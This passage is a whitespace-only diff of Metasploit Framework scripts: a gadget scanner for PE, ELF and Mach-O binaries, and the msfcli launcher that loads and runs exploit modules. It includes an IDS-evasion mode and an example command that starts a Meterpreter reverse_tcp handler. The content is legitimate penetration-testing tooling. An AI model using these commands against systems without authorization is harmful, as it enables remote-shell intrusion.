end # check if the file is a directory if it is collect all the entries ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end end # we need to do some work to figure out the file format files.each do |file| - param['file'] = file + param['file'] = file - bin = Metasm::AutoExe.decode_file(file) if not file.empty? + bin = Metasm::AutoExe.decode_file(file) if not file.empty? - if bin.kind_of?(Metasm::PE) - case mode - when "jump" - worker = Rex::PeScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::PeScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::PeScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::PeScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::PeScan::Search::DumpOffset - when "fingerprint" - worker = Rex::PeScan::Analyze::Fingerprint - when "info" - worker = Rex::PeScan::Analyze::Information - when "ripper" - worker = Rex::PeScan::Analyze::Ripper - when "context" - worker = Rex::PeScan::Analyze::ContextMapDumper - else - $stderr.puts("Mode unsupported by file format") - end + if bin.kind_of?(Metasm::PE) + case mode + when "jump" + worker = Rex::PeScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::PeScan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::PeScan::Scanner::RegexScanner + when "analyze-address" + worker = Rex::PeScan::Search::DumpRVA + when "analyze-offset" + worker = Rex::PeScan::Search::DumpOffset + when "fingerprint" + worker = Rex::PeScan::Analyze::Fingerprint + when "info" + worker = Rex::PeScan::Analyze::Information + when "ripper" + worker = Rex::PeScan::Analyze::Ripper + when "context" + worker = Rex::PeScan::Analyze::ContextMapDumper + else + $stderr.puts("Mode unsupported by file format") + end - pe_klass = Rex::PeParsey::Pe - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end + pe_klass = Rex::PeParsey::Pe + begin + pe = pe_klass.new_from_file(file, true) + rescue ::Interrupt + raise $! + rescue Rex::PeParsey::FileHeaderError + next if $!.message == "Couldn't find the PE magic!" + raise $! + rescue Errno::ENOENT + $stdout.puts("File does not exist: #{file}") + next + rescue ::Rex::PeParsey::SkipError + next + rescue ::Exception => e + $stdout.puts "[#{file}] #{e.class}: #{e}" + next + end - if (param['imagebase']) - pe.image_base = param['imagebase']; - end + if (param['imagebase']) + pe.image_base = param['imagebase']; + end - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end + if not worker + $stderr.puts("A mode could not be set for this file.") + next + end - o = worker.new(pe) - o.scan(param) + o = worker.new(pe) + o.scan(param) - pe.close + pe.close - elsif bin.kind_of?(Metasm::ELF) - case mode - when "jump" - worker = Rex::ElfScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::Elfscan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::ElfScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::ElfScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::ElfScan::Search::DumpOffset - else - $stderr.puts("Mode unsupported by file format") - end - - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end + elsif bin.kind_of?(Metasm::ELF) + case mode + when "jump" + worker = Rex::ElfScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::Elfscan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::ElfScan::Scanner::RegexScanner + when "analyze-address" + worker = Rex::ElfScan::Search::DumpRVA + when "analyze-offset" + worker = Rex::ElfScan::Search::DumpOffset + else + $stderr.puts("Mode unsupported by file format") + end + + begin + elf = Rex::ElfParsey::Elf.new_from_file(file, true) + rescue Rex::ElfParsey::ElfHeaderError + if $!.message == 'Invalid magic number' + $stderr.puts("Skipping #{file}: #{$!}") + next + end + raise $! + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end + if (param['imagebase']) + elf.base_addr = param['imagebase']; + end - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end - - o = worker.new(elf) - o.scan(param) + if not worker + $stderr.puts("A mode could not be set for this file.") + next + end + + o = worker.new(elf) + o.scan(param) - elf.close + elf.close - elsif bin.kind_of?(Metasm::MachO) - case mode - when "jump" - worker = Rex::MachScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::MachScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::MachScan::Scanner::RegexScanner - else - $stderr.puts("Mode unsupported by file format") - end + elsif bin.kind_of?(Metasm::MachO) + case mode + when "jump" + worker = Rex::MachScan::Scanner::JmpRegScanner + when "pop" + worker = Rex::MachScan::Scanner::PopPopRetScanner + when "regex" + worker = Rex::MachScan::Scanner::RegexScanner + else + $stderr.puts("Mode unsupported by file format") + end - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - begin - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue - $stderr.puts("Error: " + $!.to_s) - $stderr.puts("Skipping #{file}") - end - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - end + begin + mach = Rex::MachParsey::Mach.new_from_file(file, true) + o = worker.new(mach) + o.scan(param) + mach.close + rescue Rex::MachParsey::MachHeaderError + $stderr.puts("File is not a Mach-O binary, trying Fat..\n") + begin + fat = Rex::MachParsey::Fat.new_from_file(file, true) + o = worker.new(fat) + o.scan(param) + fat.close + rescue + $stderr.puts("Error: " + $!.to_s) + $stderr.puts("Skipping #{file}") + end + rescue Errno::ENOENT + $stderr.puts("File does not exist: #{file}") + next + end + end - if not worker - $stderr.puts("Unsupported file format") - $stderr.puts("Skipping #{file}") - next - end + if not worker + $stderr.puts("Unsupported file format") + $stderr.puts("Skipping #{file}") + next + end end diff --git a/msfcli b/msfcli index 23674498fa..7ee7088a56 100755 --- a/msfcli +++ b/msfcli @@ -8,7 +8,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -16,543 +16,543 @@ require 'rex' class Msfcli - def initialize(args) - @args = {} - @indent = ' ' - @framework = nil - - @args[:module_name] = args.shift # First argument should be the module name - @args[:mode] = args.pop || 'h' # Last argument should be the mode - @args[:params] = args # Whatever is in the middle should be the params - - if @args[:module_name] =~ /^exploit(s)*\//i - @args[:module_name] = @args[:module_name].split('/') - @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" - end - end - - # - # Returns a usage Rex table - # - def usage (str = nil, extra = nil) - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Usage: #{$0} <exploit_name> <option=value> [mode]", - 'Indent' => 4, - 'Columns' => ['Mode', 'Description'] - ) - - tbl << ['(H)elp', "You're looking at it baby!"] - tbl << ['(S)ummary', 'Show information about this module'] - tbl << ['(O)ptions', 'Show available options for this module'] - tbl << ['(A)dvanced', 'Show available advanced options for this module'] - tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] - tbl << ['(P)ayloads', 'Show available payloads for this module'] - tbl << ['(T)argets', 'Show available targets for this exploit module'] - tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] - tbl << ['(C)heck', 'Run the check routine of the selected module'] - tbl << ['(E)xecute', 'Execute the selected module'] - - tbl.to_s - - $stdout.puts "Error: #{str}\n\n" if str - $stdout.puts tbl.to_s + "\n" - $stdout.puts "Examples:" + "\n" - $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" - $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" - $stdout.puts extra + "\n" if extra - $stdout.puts - end - - - # - # Loads up everything in framework, and then returns the module list - # - def dump_module_list - # This is what happens if the user doesn't specify a module name: - # msfcli will end up loading EVERYTHING to memory to show you a help - # menu plus a list of modules available. Really expensive if you ask me. - $stdout.puts "[*] Please wait while we load the module tree..." - framework = Msf::Simple::Framework.create - ext = '' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Exploits', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.exploits.each_module { |name, mod| - tbl << [ 'exploit/' + name, mod.new.name ] - } - ext << tbl.to_s + "\n" - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Auxiliary', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.auxiliary.each_module { |name, mod| - tbl << [ 'auxiliary/' + name, mod.new.name ] - } - - ext << tbl.to_s + "\n" - ext - end - - - # - # Payload naming style is kind of inconsistent, so instead of - # finding the exact path name, we provide the most educated guess (whitelist) - # based on platform/stage type/session type/payload name suffix/etc. - # - def guess_payload_name(p) - matches = [] - payload = p.split('/') - platform = payload[0] - suffix = payload[-1] - stage_types = ['singles', 'stagers', 'stages'] - session_types = ['meterpreter', 'shell'] - arch = '' - - # Rule out some possibilities - if p =~ /meterpreter/i - session_types.delete('shell') - stage_types.delete('singles') - end - if p =~ /shell\/.+$/i - session_types.delete('meterpreter') - stage_types.delete('singles') - end - - if p =~ /x64/i - arch = 'x64' - elsif p =~ /x86/i - arch = 'x86' - end - - # Determine if the payload is staged. If it is, then - # we need to load that staged module too. - if session_types.include?('shell') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/shell/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/shell/ - else - matches << /stages\/#{platform}\/shell/ - end - elsif session_types.include?('meterpreter') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/meterpreter/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/meterpreter/ - else - matches << /stages\/#{platform}\/meterpreter/ - end - end - - # Guess the second possible match - stage_types *= "|" - session_types *= "|" - - if arch == 'x64' - matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ - elsif arch == 'x86' - matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ - else - matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ - end - - matches - end - - - # - # Returns a whitelist for encoder modules - # - def guess_encoder_name(e) - [/encoders\/#{e}/] - end - - - # - # Returns a whitelist for nop modules - # - def guess_nop_name(n) - [/nops\/#{n}/] - end - - - # - # Returns a whitelist for post modules - # - def guess_post_name(p) - [/post\/#{p}/] - end - - - # - # Returns possible patterns like exploit/aux, encoders, nops we want to - # load to the whitelist. - # - def generate_whitelist - whitelist = [] - whitelist << /#{@args[:module_name]}/ # Add exploit - - # nil = not set, empty = manually set to load nothing - encoder_val = nil - nops_val = nil - post_val = nil - payload_param = '' - junk_args = [] - - @args[:params].each { |args| - var, val = args.split('=', 2) - - case var.downcase - when 'payload' - payload_param = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_payload_name(val)) - end - - when 'encoder' - encoder_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_encoder_name(val)) - end - - when 'nop' - nops_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_nop_name(val)) - end - - when 'post' - post_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_post_name(val)) - end - end - } - - # Cleanup empty args - junk_args.each { |args| @args[:params].delete(args) } - - # If it's an exploit and no payload set, load them all. - if @args[:module_name] !~ /auxiliary\// and payload_param.empty? - whitelist << /payloads\/.+/ - end - - # Add post modules list if not set - if post_val.nil? - whitelist << /post\/.+/ - end - - # Add default encoders if not set - # This one is needed no matter what - whitelist << /encoders\/generic\/*/ - if encoder_val.nil? - if payload_param =~ /^.+\.x64.+/ - whitelist << /encoders\/x64\/.+/ - elsif payload_param =~ /^.+\.x86.+/ - whitelist << /encoders\/x86\/.+/ - else - whitelist << /encoders\/.+/ - end - end - - # Add default NOP modules if not set - if nops_val.nil? - whitelist << /nops\/.+/ - end - - whitelist - end - - - # - # Initializes exploit/payload/encoder/nop modules. - # - def init_modules - @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) - $stdout.puts "[*] Initializing modules..." - - module_name = @args[:module_name] - modules = { - :module => nil, # aux or exploit instance - :payload => nil, # payload instance - :encoder => nil, # encoder instance - :nop => nil # nop instance - } - - whitelist = generate_whitelist - - # Load up all the possible modules, this is where things get slow again - @framework.init_module_paths({:whitelist=>whitelist}) - if (@framework.modules.module_load_error_by_path.length > 0) - print("Warning: The following modules could not be loaded!\n\n") - - @framework.modules.module_load_error_by_path.each do |path, error| - print("\t#{path}: #{error}\n\n") - end - - return {} - end - - # Determine what type of module it is - if module_name =~ /exploit\/(.*)/ - modules[:module] = @framework.exploits.create($1) - elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = @framework.auxiliary.create($1) - else - modules[:module] = @framework.exploits.create(module_name) - if modules[:module].nil? - # Try falling back on aux modules - modules[:module] = @framework.auxiliary.create(module_name) - end - end - - if modules[:module].nil? - # Still nil? Ok then, probably invalid - return {} - end - - modules[:module].init_ui( - Rex::Ui::Text::Input::Stdio.new, - Rex::Ui::Text::Output::Stdio.new - ) - - # Import options - begin - modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - rescue Rex::ArgumentParseError => e - raise e - end - - # Create the payload to use - if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) - if modules[:payload] - modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the encoder to use - if modules[:module].datastore['ENCODER'] - modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) - if modules[:encoder] - modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the NOP to use - if modules[:module].datastore['NOP'] - modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) - if modules[:nop] - modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - modules - end - - - def show_summary(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) - $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] - $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] - end - - - def show_options(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] - end - - - def show_advanced(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] - end - - - def show_ids_evasion(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] - end - - - def show_payloads(m) - readable = Msf::Serializer::ReadableText - txt = "Compatible payloads" - $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) - end - - - def show_targets(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) - end - - - def show_actions(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) - end - - - def show_check(m) - begin - if (code = m[:module].check_simple( - 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, - 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) - stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' - - $stdout.puts("#{stat} #{code[1]}") - else - $stdout.puts("Check failed: The state could not be determined.") - end - rescue - $stdout.puts("Check failed: #{$!}") - end - end - - - def execute_module(m) - con = Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - { - 'Framework' => @framework, - # When I use msfcli, chances are I want speed, so ASCII art fanciness - # probably isn't much of a big deal for me. - 'DisableBanner' => true - }) - - module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') - - con.run_single("use #{module_class}/#{m[:module].refname}") - - # Assign console parameters - @args[:params].each do |arg| - k,v = arg.split("=", 2) - con.run_single("set #{k} #{v}") - end - - # Run the exploit - con.run_single("exploit") - - # If we have sessions or jobs, keep running - if @framework.sessions.length > 0 or @framework.jobs.length > 0 - con.run - else - con.run_single("quit") - end - end - - - # - # Selects a mode chosen by the user and run it - # - def engage_mode(modules) - case @args[:mode].downcase - when 'h' - usage - when "s" - show_summary(modules) - when "o" - show_options(modules) - when "a" - show_advanced(modules) - when "i" - show_ids_evasion(modules) - when "p" - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support payloads") - else - show_payloads(modules) - end - when "t" - puts - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support targets") - else - show_targets(modules) - end - when "ac" - if modules[:module].file_path =~ /auxiliary\//i - show_actions(modules) - else - $stdout.puts("\nError: This type of module does not support actions") - end - when "c" - show_check(modules) - when "e" - execute_module(modules) - else - usage("Invalid mode #{@args[:mode]}") - end - end - - - def run! - if @args[:module_name] == "-h" - usage() - exit - end - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'fastlib' - require 'msfenv' - require 'msf/ui' - require 'msf/base' - - if @args[:module_name].nil? - ext = dump_module_list - usage(nil, ext) - exit - end - - begin - modules = init_modules - rescue Rex::ArgumentParseError => e - puts "[!] Error: #{e.message}\n\n" - exit - end - - if modules[:module].nil? - usage("Invalid module: #{@args[:module_name]}") - exit - end - - # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) - - engage_mode(modules) - $stdout.puts - end + def initialize(args) + @args = {} + @indent = ' ' + @framework = nil + + @args[:module_name] = args.shift # First argument should be the module name + @args[:mode] = args.pop || 'h' # Last argument should be the mode + @args[:params] = args # Whatever is in the middle should be the params + + if @args[:module_name] =~ /^exploit(s)*\//i + @args[:module_name] = @args[:module_name].split('/') + @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" + end + end + + # + # Returns a usage Rex table + # + def usage (str = nil, extra = nil) + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Usage: #{$0} <exploit_name> <option=value> [mode]", + 'Indent' => 4, + 'Columns' => ['Mode', 'Description'] + ) + + tbl << ['(H)elp', "You're looking at it baby!"] + tbl << ['(S)ummary', 'Show information about this module'] + tbl << ['(O)ptions', 'Show available options for this module'] + tbl << ['(A)dvanced', 'Show available advanced options for this module'] + tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] + tbl << ['(P)ayloads', 'Show available payloads for this module'] + tbl << ['(T)argets', 'Show available targets for this exploit module'] + tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] + tbl << ['(C)heck', 'Run the check routine of the selected module'] + tbl << ['(E)xecute', 'Execute the selected module'] + + tbl.to_s + + $stdout.puts "Error: #{str}\n\n" if str + $stdout.puts tbl.to_s + "\n" + $stdout.puts "Examples:" + "\n" + $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" + $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" + $stdout.puts extra + "\n" if extra + $stdout.puts + end + + + # + # Loads up everything in framework, and then returns the module list + # + def dump_module_list + # This is what happens if the user doesn't specify a module name: + # msfcli will end up loading EVERYTHING to memory to show you a help + # menu plus a list of modules available. Really expensive if you ask me. + $stdout.puts "[*] Please wait while we load the module tree..." + framework = Msf::Simple::Framework.create + ext = '' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Exploits', + 'Indent' => 4, + 'Columns' => [ 'Name', 'Description' ]) + + framework.exploits.each_module { |name, mod| + tbl << [ 'exploit/' + name, mod.new.name ] + } + ext << tbl.to_s + "\n" + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Auxiliary', + 'Indent' => 4, + 'Columns' => [ 'Name', 'Description' ]) + + framework.auxiliary.each_module { |name, mod| + tbl << [ 'auxiliary/' + name, mod.new.name ] + } + + ext << tbl.to_s + "\n" + ext + end + + + # + # Payload naming style is kind of inconsistent, so instead of + # finding the exact path name, we provide the most educated guess (whitelist) + # based on platform/stage type/session type/payload name suffix/etc. + # + def guess_payload_name(p) + matches = [] + payload = p.split('/') + platform = payload[0] + suffix = payload[-1] + stage_types = ['singles', 'stagers', 'stages'] + session_types = ['meterpreter', 'shell'] + arch = '' + + # Rule out some possibilities + if p =~ /meterpreter/i + session_types.delete('shell') + stage_types.delete('singles') + end + if p =~ /shell\/.+$/i + session_types.delete('meterpreter') + stage_types.delete('singles') + end + + if p =~ /x64/i + arch = 'x64' + elsif p =~ /x86/i + arch = 'x86' + end + + # Determine if the payload is staged. If it is, then + # we need to load that staged module too. + if session_types.include?('shell') and stage_types.include?('stages') + if arch == 'x64' + matches << /stages\/#{platform}\/x64\/shell/ + elsif arch == 'x86' + matches << /stages\/#{platform}\/x86\/shell/ + else + matches << /stages\/#{platform}\/shell/ + end + elsif session_types.include?('meterpreter') and stage_types.include?('stages') + if arch == 'x64' + matches << /stages\/#{platform}\/x64\/meterpreter/ + elsif arch == 'x86' + matches << /stages\/#{platform}\/x86\/meterpreter/ + else + matches << /stages\/#{platform}\/meterpreter/ + end + end + + # Guess the second possible match + stage_types *= "|" + session_types *= "|" + + if arch == 'x64' + matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ + elsif arch == 'x86' + matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ + else + matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ + end + + matches + end + + + # + # Returns a whitelist for encoder modules + # + def guess_encoder_name(e) + [/encoders\/#{e}/] + end + + + # + # Returns a whitelist for nop modules + # + def guess_nop_name(n) + [/nops\/#{n}/] + end + + + # + # Returns a whitelist for post modules + # + def guess_post_name(p) + [/post\/#{p}/] + end + + + # + # Returns possible patterns like exploit/aux, encoders, nops we want to + # load to the whitelist. + # + def generate_whitelist + whitelist = [] + whitelist << /#{@args[:module_name]}/ # Add exploit + + # nil = not set, empty = manually set to load nothing + encoder_val = nil + nops_val = nil + post_val = nil + payload_param = '' + junk_args = [] + + @args[:params].each { |args| + var, val = args.split('=', 2) + + case var.downcase + when 'payload' + payload_param = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_payload_name(val)) + end + + when 'encoder' + encoder_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_encoder_name(val)) + end + + when 'nop' + nops_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_nop_name(val)) + end + + when 'post' + post_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_post_name(val)) + end + end + } + + # Cleanup empty args + junk_args.each { |args| @args[:params].delete(args) } + + # If it's an exploit and no payload set, load them all. + if @args[:module_name] !~ /auxiliary\// and payload_param.empty? + whitelist << /payloads\/.+/ + end + + # Add post modules list if not set + if post_val.nil? + whitelist << /post\/.+/ + end + + # Add default encoders if not set + # This one is needed no matter what + whitelist << /encoders\/generic\/*/ + if encoder_val.nil? + if payload_param =~ /^.+\.x64.+/ + whitelist << /encoders\/x64\/.+/ + elsif payload_param =~ /^.+\.x86.+/ + whitelist << /encoders\/x86\/.+/ + else + whitelist << /encoders\/.+/ + end + end + + # Add default NOP modules if not set + if nops_val.nil? + whitelist << /nops\/.+/ + end + + whitelist + end + + + # + # Initializes exploit/payload/encoder/nop modules. + # + def init_modules + @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) + $stdout.puts "[*] Initializing modules..." + + module_name = @args[:module_name] + modules = { + :module => nil, # aux or exploit instance + :payload => nil, # payload instance + :encoder => nil, # encoder instance + :nop => nil # nop instance + } + + whitelist = generate_whitelist + + # Load up all the possible modules, this is where things get slow again + @framework.init_module_paths({:whitelist=>whitelist}) + if (@framework.modules.module_load_error_by_path.length > 0) + print("Warning: The following modules could not be loaded!\n\n") + + @framework.modules.module_load_error_by_path.each do |path, error| + print("\t#{path}: #{error}\n\n") + end + + return {} + end + + # Determine what type of module it is + if module_name =~ /exploit\/(.*)/ + modules[:module] = @framework.exploits.create($1) + elsif module_name =~ /auxiliary\/(.*)/ + modules[:module] = @framework.auxiliary.create($1) + else + modules[:module] = @framework.exploits.create(module_name) + if modules[:module].nil? + # Try falling back on aux modules + modules[:module] = @framework.auxiliary.create(module_name) + end + end + + if modules[:module].nil? + # Still nil? Ok then, probably invalid + return {} + end + + modules[:module].init_ui( + Rex::Ui::Text::Input::Stdio.new, + Rex::Ui::Text::Output::Stdio.new + ) + + # Import options + begin + modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + rescue Rex::ArgumentParseError => e + raise e + end + + # Create the payload to use + if (modules[:module].datastore['PAYLOAD']) + modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) + if modules[:payload] + modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + # Create the encoder to use + if modules[:module].datastore['ENCODER'] + modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) + if modules[:encoder] + modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + # Create the NOP to use + if modules[:module].datastore['NOP'] + modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) + if modules[:nop] + modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + modules + end + + + def show_summary(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) + $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] + $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] + end + + + def show_options(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] + end + + + def show_advanced(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] + end + + + def show_ids_evasion(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] + end + + + def show_payloads(m) + readable = Msf::Serializer::ReadableText + txt = "Compatible payloads" + $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) + end + + + def show_targets(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) + end + + + def show_actions(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) + end + + + def show_check(m) + begin + if (code = m[:module].check_simple( + 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, + 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) + stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' + + $stdout.puts("#{stat} #{code[1]}") + else + $stdout.puts("Check failed: The state could not be determined.") + end + rescue + $stdout.puts("Check failed: #{$!}") + end + end + + + def execute_module(m) + con = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + 